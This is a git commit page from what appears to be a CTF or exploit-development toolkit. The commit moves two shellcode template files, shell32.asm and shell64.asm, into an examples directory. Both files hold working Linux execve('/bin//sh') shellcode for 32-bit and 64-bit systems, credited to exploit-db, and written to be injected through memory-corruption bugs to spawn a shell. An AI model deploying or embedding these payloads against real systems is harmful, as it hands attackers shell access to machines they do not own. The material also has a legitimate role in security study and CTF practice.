summaryrefslogtreecommitdiffstats
path: root/templates/shellcode/examples
diff options
context:
space:
mode:
authorMalfurious <m@lfurio.us>2022-12-24 07:50:44 -0500
committerMalfurious <m@lfurio.us>2023-01-15 10:12:48 -0500
commitc41649b5077eb3e0d66043658df8bccbdfef0f1a (patch)
tree5c25138a2fdce2f5ed463a3ebd4dbefeb2613c90 /templates/shellcode/examples
parentd1853b2ea3b52cf20d08c428769a2a4fa3bf6b5c (diff)
downloadlib-des-gnux-c41649b5077eb3e0d66043658df8bccbdfef0f1a.tar.gz
lib-des-gnux-c41649b5077eb3e0d66043658df8bccbdfef0f1a.zip
shellcode: Move example code to a new directory
This is mainly done to keep the top working directory (where the Makefile lives) cleaner. Signed-off-by: Malfurious <m@lfurio.us>
Diffstat (limited to 'templates/shellcode/examples')
-rw-r--r--templates/shellcode/examples/shell32.asm15
-rw-r--r--templates/shellcode/examples/shell64.asm16
2 files changed, 31 insertions, 0 deletions
diff --git a/templates/shellcode/examples/shell32.asm b/templates/shellcode/examples/shell32.asm
new file mode 100644
index 0000000..5ff2e12
--- /dev/null
+++ b/templates/shellcode/examples/shell32.asm
@@ -0,0 +1,15 @@
+[SECTION .text]
+global _start
+
+; https://www.exploit-db.com/shellcodes/46809
+
+_start:
+ xor ecx, ecx
+ xor edx, edx
+ push 0xb
+ pop eax
+ push ecx
+ push 0x68732f2f
+ push 0x6e69622f
+ mov ebx, esp
+ int 0x80
diff --git a/templates/shellcode/examples/shell64.asm b/templates/shellcode/examples/shell64.asm
new file mode 100644
index 0000000..2353b6f
--- /dev/null
+++ b/templates/shellcode/examples/shell64.asm
@@ -0,0 +1,16 @@
+[SECTION .text]
+global _start
+
+; https://www.exploit-db.com/shellcodes/47008
+
+_start:
+ xor rsi, rsi
+ xor rdx, rdx
+ push rsi
+ mov rdi, 0x68732f2f6e69622f
+ push rdi
+ push rsp
+ pop rdi
+ mov al, 0x3b
+ cdq
+ syscall